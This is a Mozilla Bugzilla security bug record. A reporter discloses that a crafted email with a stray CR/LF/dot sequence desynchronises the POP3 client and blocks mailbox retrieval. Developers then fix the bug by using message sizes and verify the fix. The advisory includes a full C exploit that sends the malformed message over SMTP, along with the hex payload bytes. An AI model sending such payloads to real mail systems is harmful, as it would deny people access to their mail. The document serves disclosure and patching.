Malicious email breaks POP server connection

VERIFIED FIXED in mozilla1.0.1

Status

MailNews Core
Security
--
major
VERIFIED FIXED
15 years ago
9 years ago

People

(Reporter: Mitchell Stoltz (not reading bugmail), Assigned: Navin Gupta)

Tracking

Trunk
mozilla1.0.1

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [ADT1 RTM])

Attachments

(1 attachment)

Reported by eldre8@afturgurluk.org:
-------------------------------------
Hi,

I have found a bug is mozilla,
involving the retreiving part of it,
it can block the retreiving of the mail box, and the only way is
to use telnet to delete the bad mail or, using others mailclient.

the blocking effect is due to mishandling of \r\n, for more information
use the C code that I have join in the bottom of this mail.

I have wrote all the info in this little text, I will not distribute
this text until the bug gets fix, and when it will, the code will
be corrupt to not let some "script kiddies" plays at DoSing anyone...

Apart from this, Mozilla is great! :]

////////////////////////////////////////////
///// Strange Software Behaviour Reports #1 of eldre8@afturgurluk.org
///
//// discovered, understood and exploited between 05, 08 2001
//// (yes, i took the time... :) )

\/\/\_/-> System affected:
        All versions of Netscape
        All versions of Mozilla (even the 2002041711)

^\/\/'\-> System not affected:
        Outlook Express
        Outlook 2000
        IncrediMail(thks to ben81 for testing)

|_/\/\\/> Buggy software team contacted about this: in process...

/\/\/\_/> Exploitation: remote & very easy & very anonymous :(

_/\/\/\_> Effects: With this remote hole, we can block any mail
        box that is checked with a pop3 client, so the
        hotmail, caramail like servers are not affected.
        A mail will cause the pop3 client to desynchronize
        with the server, losing the connection to it, and
        so, leaves all messages on the server (explain later)...

        In Netscape, we could only see the header of the message,
        in Mozilla, we could see the begin of the mail message...

-/\/\/\/> Explanation: In the SMTP protocol, we can send mail with
        some introduction command (ehlo,mail,rcpt) and then
        type our messages and place a dot at a new line to
        specify to the MTA that it is the end of the message.
        On the other side, when a POP3 client check mail, it
        connect to the server, retreive the mail, it terminate
        the download of a message when it sees a dot at a new line.
        And here is the trick.
        If we can place a dot at a new line, and place other
        words below this dot, the client will beleive the mail
        is finished and will try to download next messages, thus
        beiing desynchronize with the server...
        The POP3 client act as:
            login on to the POP3 server
            retrieve mails
            delete mails
            logout
        but if it is desynchronize, it will retreive mail, and
        disconnect, thus didn't delete mails, and the next time
        it login, it will refind the same mail, will retreive one
        more time the mails, disconnect, and other and other...
        A more detailed explanation,
        here it is a simple end of a normal mail:
            blabla...
            \x0a
            \x0a
        and this is the bad mail:
            blabla...
            \x0a\x0d\x2e\x0d\x20\x0a\x0a\x0a
            blabla...
            \x0a\x20\x00
            \x0a
        We can see at the end of the two 0x0a, it seems that it is just
        place here by the console...forget it.
        At this stage, you could catch the bug...
        Bad implementation of \r\n ?

=\/\/\/-> Possible fixes: There are different ways to fix this,
        - one way is from the client, to stop the bad mail,
            this is to connect manually via telnet to the pop3
            server, and then identify the bad message and do a
            dele <# of the message>
        - one better way is to fix this from the client itself,
            the client can get the size of each messages via
            the list command, so it should be able to retrieve
            the complete message, not less, not more...
        - one way is to fix the MTA so it will not accept such
            the code below...

~\/\/\/~> Exploit:

/* this is the code that comes with my
 * advisory #1 to illustrate this...
 * eldre8@afturgurluk.org
 */

#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>

#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {
    fprintf(stderr,"\b\bbye!\n");
    close(sock);
    free(buffer);
    exit(0);
}

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;

    signal(SIGINT,SigCatch);

    hp=gethostbyname(MX);
    sock=socket(AF_INET,SOCK_STREAM,0);
    if (sock<0) {
        perror("sock");
        return -1;
    }

    sout.sin_family=AF_INET;
    sout.sin_port=htons(PORT);
    memcpy(&(sout.sin_addr),*(hp->h_addr_list),sizeof(struct in_addr));
    if (connect(sock,&sout,sizeof(sout))<0) {
        perror("connect");
        return -1;
    }
    recv(sock,buffer,255,MSG_OOB); /* receive the banner... */
    fprintf(stderr,buffer);

    send(sock,EHLO,sizeof(EHLO),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* receive the welcome message... */
    fprintf(stderr,buffer);

    send(sock,MAIL,sizeof(MAIL),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* receive the acknowledgement to mail from. */
    fprintf(stderr,buffer);

    send(sock,RCPT,sizeof(RCPT),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* idem, but for the rcpt to... */
    fprintf(stderr,buffer);

    send(sock,DATA,sizeof(DATA),MSG_OOB);
    recv(sock,buffer,255,0);
    fprintf(stderr,buffer);

    i=sprintf(buffer,"b4d maIl 1n
4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
    *(buffer+i)="\x0";
    sprintf(buffer+i+1,"\n.\n");
    send(sock,buffer,i+1+3,0); /* send the dumb thing ... */
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    send(sock,QUIT,sizeof(QUIT),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    close(sock);

    return 0;
}
(Reporter)

Comment 1

15 years ago
Over to mscott. Scott, can you take a look?
Assignee: mstoltz → mscott
Severity: normal → major
Target Milestone: --- → mozilla1.0.1
(Reporter)

Updated

15 years ago
Keywords: mozilla1.0.1, nsbeta1+
Whiteboard: [ADT1 RTM]

Comment 2

15 years ago
reassigning to naving.
Assignee: mscott → naving
(Assignee)

Comment 3

15 years ago
*** Bug 144560 has been marked as a duplicate of this bug. ***
(Assignee)

Comment 4

15 years ago
Created attachment 86510 [details] [diff] [review]
proposed fix

The fix is to use the message size together with the termination octet to
determine when we have completely downloaded a message. Some servers do not
return the message size with retr response but we know the message size from
'list' command that is done prior to 'retr' any message.
(Assignee)

Comment 5

15 years ago
David, can you review?  thx. I'll get mscott to sr.
Status: NEW → ASSIGNED

Comment 6

15 years ago
can you get someone else to review? I'll sr.

Comment 7

15 years ago
Comment on attachment 86510 [details] [diff] [review]
proposed fix

sr=bienvenu
Attachment #86510 - Flags: superreview+
(Assignee)

Comment 8

15 years ago
cavin, can I get r=?, thx. 

Updated

15 years ago
QA Contact: junruh → esther

Comment 9

15 years ago
Comment on attachment 86510 [details] [diff] [review]
proposed fix

r=cavin.
Attachment #86510 - Flags: review+

Comment 10

15 years ago
Comment on attachment 86510 [details] [diff] [review]
proposed fix

a=asa (on behalf of drivers) for checkin to the 1.1 trunk.
Attachment #86510 - Flags: approval+

Comment 11

15 years ago
Once this lands on the trunk, let's get this verified.  adding adt1.0.1 nomination
Keywords: adt1.0.1
(Assignee)

Comment 12

15 years ago
fixed on trunk
Status: ASSIGNED → RESOLVED
Last Resolved: 15 years ago
Resolution: --- → FIXED
(Reporter)

Comment 13

15 years ago
Thanks for the quick fix!

Comment 14

15 years ago
adt1.0.1+ (on ADT's behalf) approval for checkin to the 1.0.1. pls land this on
the 1.0 branch, then add the keywrod "fixed1.0.1".
Blocks: 143047
Keywords: adt1.0.1 → adt1.0.1+
(Reporter)

Comment 15

15 years ago
Reopening to ensure the branch fix happens.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
(Assignee)

Comment 16

15 years ago
closing this again so that QA can verify on trunk. I have asked approval from
drivers for 1.0 branch. We are using keywords for branch fixed and verified. 
Status: REOPENED → RESOLVED
Last Resolved: 15 years ago15 years ago
Resolution: --- → FIXED
please check into the 1.0.1 branch ASAP. once landed remove the 
mozilla1.0.1+ keyword and add the fixed1.0.1 keyword
Keywords: mozilla1.0.1 → mozilla1.0.1+
(Assignee)

Comment 18

15 years ago
fixed on branch.
Keywords: mozilla1.0.1+ → fixed1.0.1

Comment 19

15 years ago
Navin, how can I test this.  In the duplicate bug you couldn't reproduce this
with our POP server and test account, you asked the reporter to send the same
message to another POP account using a different server.  I did not see that the
reporter did that.  Do you have a test case (an email that I can edit as new and
send) to see the problem?
(Assignee)

Comment 20

15 years ago
shlrpop3@gmx.co.uk has this message, hopefully. Ask sheela for details. She owns
the acct.

Comment 21

15 years ago
I need the message that causes the problem sent to the above mentioned mail
account again for me to test the fix. Sent a request to the reporter of the dup
bug 6-17-2002

Comment 22

15 years ago
cc'ing sheela since she is the qa owner for the dup'd bug

Comment 23

15 years ago
I notified the owner of the malicious email again asking for it to be sent to
our test account. Will wait until 6-24, then try something else.

Comment 24

15 years ago
Using branch build 20020621 on winxp, linux and mac os9.1, branch build 20020618
on Mac OS10.1 and the malicious email sent to our test account by the original
reporter this is fixed.  Verified.
Note, I confirmed I saw the problem using builds dated before the fix.  I
received and error message when trying to download messages after the malicious
message was downloaded.  Then with the same profile and a fixed branch build, I
was able to get new messages that came in after the malicious message.  I will
now try this on the latest trunk builds to complete the verification.
Keywords: fixed1.0.1 → verified1.0.1

Comment 25

15 years ago
Verified on trunk builds: 20020617 winxp, 20020614 linux, 20020613 mac os10.1
and 20020610 mac 9.1  Resolving as verfied now since it was verified on trunk
and branch builds.
Status: RESOLVED → VERIFIED
(Reporter)

Updated

15 years ago
Group: security?
Product: MailNews → Core
Product: Core → MailNews Core
You need to log in before you can comment on or make changes to this bug.